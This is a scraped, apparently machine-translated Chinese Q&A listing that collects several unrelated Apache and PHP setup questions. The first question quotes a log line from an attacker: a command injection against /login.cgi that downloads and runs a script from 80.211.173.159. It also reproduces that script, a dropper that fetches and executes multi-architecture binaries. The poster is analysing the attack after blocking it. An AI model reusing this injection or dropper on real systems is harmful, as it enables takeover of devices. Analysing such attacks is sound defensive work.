我的计算机上有 Linux Mint,但我不知道如何确定 Apache2 是否在其上或实际安装在何处。我http://localhost使用 URL运行我的网络浏览器(安装了 PHP)并且它工作正常。
我一直在我的服务器上注意到 apache 日志,最近出现了以下奇怪的行:
156.222.222.13 - - [08/Sep/2018:04:27:24 +0200] "GET /login.cgi?cli=aa%20aa%27;wget%20http://80.211.173.159/k%20-O%20/tmp/ks;chmod%20777%20/tmp/ks;sh%20/tmp/ks%27$ HTTP/1.1" 400 0 "-" "LMAO/2.0"
所以我做了一个自定义的 Fail2Ban 过滤器并开始禁止请求这些 /login.cgi URL 的 IP。
但我很好奇他们想要做什么,所以我拉了他们试图执行的脚本,我似乎无法弄清楚它到底做了什么。关于删除 /var 和 /tmp 中的 arch 文件夹?
无论如何,这里是:
#!/bin/sh
u="asgknskjdgn"
bin_names="mmips mipsel arm arm7 powerpc x86_64 x86_32"
http_server="80.211.173.159"
http_port=80
cd /tmp/||cd /var/
for name in $bin_names
do
rm -rf $u
cp $SHELL $u
chmod 777 $u
>$u
wget http://$http_server:$http_port/$name -O -> $u
./$u $name
done
Run Code Online (Sandbox Code Playgroud) 我意识到phpinfo()和php -v(在 CLI 中)报告的 PHP 版本之间存在匹配错误。
phpinfo(): 5.5.24
php -v: 5.6.9
Run Code Online (Sandbox Code Playgroud)
我在 Mac OS X 10.10 (Yosemite) 上工作并安装了一个库 ( php-version) 来尝试管理 PHP 版本。
它报告我的笔记本电脑上安装了 3 个不同的版本:
5.4.41
5.5.25
* 5.6.9
Run Code Online (Sandbox Code Playgroud)
我想在 Apache 和 CLI 中设置相同版本的 PHP。
如何告诉 Apache 使用哪个 PHP 版本?
我试图在我的httpd.conf:
LoadModule php5_module /usr/local/opt/php56/libexec/apache2/libphp5.so
Run Code Online (Sandbox Code Playgroud)
然后:
sudo apachectl restart
Run Code Online (Sandbox Code Playgroud)
但这一切都没有解决问题……在我的 PHP 信息中,我仍然有:5.5.24
(我知道这个问题的答案。发布这个只是为了与社区分享答案)
我的本地 (Windows 7) Apache 2.4 实例在提供某些 URL 时遇到延迟或挂断,具体取决于我使用哪个浏览器访问这些 URL。
使用 Firefox/Chrome,Apache对某些 URL 的响应很慢。在任何给定的 URL 上,大约有 20% 的时间出现缓慢。当它确实发生时,有 5 秒的延迟,在此期间 Firefox 会显示“正在等待...”状态。
使用 Internet Explorer 9,Apache 只是挂起并停止服务任何请求(使用任何浏览器),直到它重新启动。
我尝试了许多更改httpd.conf(例如禁用 KeepAlive、EnableMMAP、HostnameLookups),但似乎没有任何效果。
我有基于名称的托管,我们称之为my.address.com。我的朋友有一个“普通”地址,address.com并给了我一个可以通过 SSH 访问的虚拟机。
他还用端口创造了一些魔法,现在,安装 Apache 后,我可以/var/www通过my.address.com.
所以,问题是,我怎样才能创建一个子域test.my.address.com?
Apache 的 Listen Directive应该有一些魔力,但我无法弄清楚。另外,我知道如何使用 Apache 创建本地可用的站点,但它不一样。
我擅长 Unix 命令和脚本,但我几乎没有网络经验。我有一个脚本可以获取我感兴趣的指标,例如 CPU 负载或系统温度,并每 10 秒更新一次文件。我想将我的 iPad 指向由我的 Raspberry Pi 托管的本地网站,该网站具有此数据的实时更新图形表示。
我在设置简单的 Apache Web 服务器之前工作过,并且我可以编写 HTML 和 JavaScript。除此之外,我迷路了,需要有人为我指明正确的方向。
我正在尝试安装 PHP 5.3.8 以使用 WAMP (Windows)。
我是从PHP网站下载的,复制到bin文件夹下,在wampmanager.ini中加入这一行:
Type: item; Caption: "5.3.8"; Action: multi; Actions:switchPhp5.3.8;
Run Code Online (Sandbox Code Playgroud)
和:
[switchPhp5.3.8]
Action: service; Service: wampapache; ServiceAction: stop; Flags: ignoreerrors waituntilterminated
Action: run; FileName: "c:/wamp/bin/php/php5.3.0/php-win.exe";Parameters: "switchPhpVersion.php 5.3.8";WorkingDir: "c:/wamp/scripts"; Flags: waituntilterminated
Action: run; FileName: "c:/wamp/bin/php/php5.3.0/php-win.exe";Parameters: "-c . refresh.php";WorkingDir: "c:/wamp/scripts"; Flags: waituntilterminated
Action: run; FileName: "net"; Parameters: "start wampapache"; ShowCmd: hidden; Flags: waituntilterminated
Action: resetservices
Action: readconfig;
Run Code Online (Sandbox Code Playgroud)
但它不起作用...
在我编辑它并启动 WAMP 后,这些更改将从 ini 文件中删除。
默认的 Ubuntu PHP 包不包含 PDO SQLite 扩展。如何安装 SQLite PDO 扩展?是否有一个可以通过它轻松安装的软件包apt-get?
我在 Web 浏览器中错误输入网页的 URL 时偶然发现了这一点。
为什么访问http://example.com/%会导致抛出 HTTP 400 Bad Request 错误?服务器是否在百分号之后或之前期待其他内容?
这似乎发生在 Apache 和 Nginx 服务器上。
(服务器:cloudflare-nginx)https://superuser.com/%

(服务器:Apache)http://mozilla.org/%

我在 Mac OS X 10.6 的系统偏好设置中设置了网络共享,然后单击它给我的链接。不幸的是,Apache 给了我这个 403 错误:
禁止的
您无权访问此服务器上的 /~myusername/index.html。
访问日志显示: 10.0.1.2 - - [30/Jun/2010:16:25:15 -0700] "GET /~myusername/ HTTP/1.1" 403 210
错误日志显示: [Wed Jun 30 16:26:09 2010] [error] [client 10.0.1.2] client denied by server configuration: /Users/myusername/Sites/
奇怪的是,访问http://localhost工作正常。只是我遇到了两个用户文件夹的问题,另一个比我的系统升级新的用户文件夹工作正常。
我以前在 Leopard 的机器上使用过这个,所以我把所有东西都改成~/Sites了 755,这没有任何好处。有什么建议?我想我已经对我的机器做了一些导致这种情况的事情,因为我无法想象苹果会在这样的事情上搞砸。
我确实用这些说明设置了 PEAR ,但我不知道这是否可能是它的原因。
php ×3
linux ×2
windows-7 ×2
bash ×1
gui ×1
http ×1
linux-mint ×1
macos ×1
nginx ×1
raspberry-pi ×1
shell-script ×1
sqlite ×1
subdomain ×1
ubuntu ×1
unix ×1
virtual-host ×1
wamp ×1
webserver ×1
windows ×1